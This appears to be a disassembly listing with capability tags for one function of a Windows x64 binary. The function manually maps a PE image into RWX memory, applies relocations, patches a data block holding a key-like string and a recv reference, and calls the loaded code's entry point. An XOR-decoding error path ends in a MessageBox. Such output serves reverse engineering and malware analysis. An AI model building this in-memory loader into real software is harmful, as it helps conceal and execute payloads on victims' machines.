Function at 0x140048160
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xc8
mov r14, r8
mov esi, edx
mov rdi, rcx
mov byte [0x1406b5598], 1
mov rax, qword [r8]
test rax, rax
je 0x1400481a6
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400481a6
movsxd rcx, dword [rax + 0x3c]
cmp rcx, 0x400
jle 0x14004845f
xor r15d, r15d
mov edx, dword [r15 + 0x50]
mov rcx, qword [r15 + 0x30]
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x1400481d0
mov rbx, rax
xor r12d, r12d
jmp 0x1400481fb
mov edx, dword [r15 + 0x50]
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140048476
mov rbx, rax
mov r12, rax
sub r12, qword [r15 + 0x30]
mov r8d, dword [r15 + 0x50]
mov rcx, rbx
xor edx, edx
call fcn.14033b730
mov qword [r15 + 0x30], rbx
mov rdx, qword [r14]
mov r8d, dword [r15 + 0x54]
mov rcx, rbx
call fcn.14033b090
cmp word [r15 + 6], 0
je 0x140048268
lea r13, [r15 + 0x108]
add r13, 0x14
xor ebp, ebp
nop word cs:[rax + rax]
mov edx, dword [r13]
add rdx, qword [r14]
mov ecx, dword [r13 - 8]
mov r8d, dword [r13 - 4]
add rcx, rbx
call fcn.14033b090
inc rbp
movzx eax, word [r15 + 6]
add r13, 0x28
cmp rbp, rax
jb 0x140048240
test r12, r12
je 0x140048335
mov r8, qword [r14]
test r8, r8
je 0x140048335
movzx eax, word [r8]
cmp eax, 0x5a4d
jne 0x140048335
movsxd rax, dword [r8 + 0x3c]
cmp rax, 0x400
jg 0x140048335
cmp dword [r8 + rax], 0x4550
jne 0x140048335
add r8, rax
cmp dword [r8 + 0xb0], 0
je 0x140048335
add r8, 0xb0
lea rcx, [rsp + 0x30]
mov rdx, rbx
call fcn.140048710
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x38]
cmp rcx, rax
je 0x1400482fe
nop word [rax + rax]
movzx edx, word [rcx]
and edx, 0xfff
add edx, dword [rcx + 4]
add qword [rbx + rdx], r12
add rcx, 0x10
cmp rcx, rax
jne 0x1400482e0
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140048335
mov rdx, qword [rsp + 0x40]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140048330
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x1400486fc
add rdx, 0x27
mov rcx, rax
call fcn.14016e098
mov rcx, rbx
call fcn.140048010
movsxd rax, dword [rbx + 0x3c]
lea rdx, [rbx + rax]
add rdx, 0xa0
xor ecx, ecx
cmp dword [rbx + rax + 0xa0], 0
cmove rdx, rcx
mov ecx, dword [rdx]
mov eax, dword [rdx + 4]
mov edx, 0xaaaaaaab
imul rdx, rax
shr rdx, 0x23
dec edx
add rcx, rbx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov r13d, dword [r15 + 0x28]
add r13, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r15, rax
lea r14, [rax + 0xa00]
mov dword [rsp + 0x30], 0
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r12, [rsp + 0x30]
mov edx, 4
mov rcx, r14
mov r8d, 0x40
mov r9, r12
call rbp
mov edx, 0x30
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [r15 + 0xa00], rax
mov rcx, qword [0x1406b53b0]
mov qword [rax + 8], rcx
mov rax, qword [str.eaUoVa2wMi7qMy29rCav5qwZWdhhv5Vk11111111111111111111]
mov rcx, qword [r15 + 0xa00]
mov qword [rcx], rax
mov rax, qword [r15 + 0xa00]
mov qword [rax + 0x10], rbx
mov r8, qword [rdi]
mov rcx, qword [r15 + 0xa00]
add rcx, 0x18
mov edx, reloc.WS2_32.dll_recv
call fcn.14035c628
mov rax, qword [r15 + 0xa00]
mov dword [rax + 0x28], esi
mov r8d, dword [rsp + 0x30]
mov edx, 4
mov rcx, r14
mov r9, r12
call rbp
xor ecx, ecx
xor edx, edx
call r13
nop
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [rax + rcx]
xor r15d, r15d
cmp dword [rax + rcx], 0x4550
cmove r15, rdx
jmp 0x1400481a9
movabs rax, 0xaa497efaf8c7ec46
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xb0], rax
movabs rax, 0x81e858d41f85afd
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xb8], rax
movabs rcx, 0x93125e8897b59e03
mov qword [rsp + 0x30], rcx
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x30], rax
movabs rdx, 0x81e858d41f85aa0
mov qword [rsp + 0x70], rdx
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x70], rax
mov r8, qword [rsp + 0x70]
movaps xmm0, xmmword [rsp + 0xb0]
xorps xmm0, xmmword [r8]
movaps xmmword [rsp + 0xb0], xmm0
movabs r8, 0xe1772ae6fe95f042
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x70], r8
movabs r8, 0x676cf7e861943bce
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x78], r8
movabs r8, 0x6022b095fd347def
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x80], r8
movabs r8, 0x37bec2afdee0f4d6
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x88], r8
movabs r8, 0x80c12f5f75763cf2
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x90], r8
movabs r8, 0x26ede9a4c9978a40
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x98], r8
movabs r8, 0x9a57eb8498539000
mov qword [rsp + 0x30], r8
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0xa0], r8
movabs r8, 0x3e6e7f783af6c86
mov qword [rsp + 0x30], r8
mov r9, qword [rsp + 0x30]
mov qword [rsp + 0xa8], r9
mov qword [rsp + 0x30], rcx
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x38], rcx
movabs rcx, 0x550c5f69e5b5d9d
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x40], rcx
movabs rcx, 0x44dfa7c3aec0d8b2
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x48], rcx
movabs rcx, 0xf2a05b2c10041c97
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x50], rcx
movabs rcx, 0x4981c9c1a1e3aa34
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x58], rcx
movabs rcx, 0x9a57ebaaea36f461
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x28], r8
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x70], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x80], xmm1
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x90], xmm2
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0xa0], xmm3
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0xb0]
xor ecx, ecx
mov r9d, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call fcn.14034c2d4
call fcn.14034f94c
int3